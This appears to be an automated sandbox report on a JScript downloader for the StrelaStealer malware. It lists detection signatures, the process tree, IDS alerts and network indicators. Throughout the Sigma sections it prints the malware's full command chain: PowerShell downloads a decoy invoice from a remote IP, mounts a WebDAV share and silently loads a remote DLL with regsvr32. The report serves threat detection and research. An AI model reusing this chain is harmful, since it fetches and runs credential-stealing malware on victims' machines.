Edit tour

Windows Analysis Report
12071652839003777.js

Overview

General Information

Sample name:	12071652839003777.js
Analysis ID:	1588853
MD5:	4ed0fdedb55f9e5234c2883fa8187f25
SHA1:	a8264a489caf90a188a60404330a39547339e670
SHA256:	98a4271053b20914e44beb872b7f44a4a4371f80fcfd05b00552e838704ac3e5
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2656 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3832 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2100 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2952 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4936 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,1942838675917694284,8950554466312754519,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5940 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2656 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2656	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3832, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2100, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3832, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2100, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ProcessId: 2656, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5652, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 3832, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 3832, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 3832, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 3832, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 3832, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ProcessId: 2656, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3832, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2100, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5940, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2656, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5940, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\12071652839003777.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2656, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\105213129814525.dll, ProcessId: 3832, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:20:04.617984+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:20:07.017821+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:20:04.617984+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 12071652839003777.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 12071652839003777.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:20:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

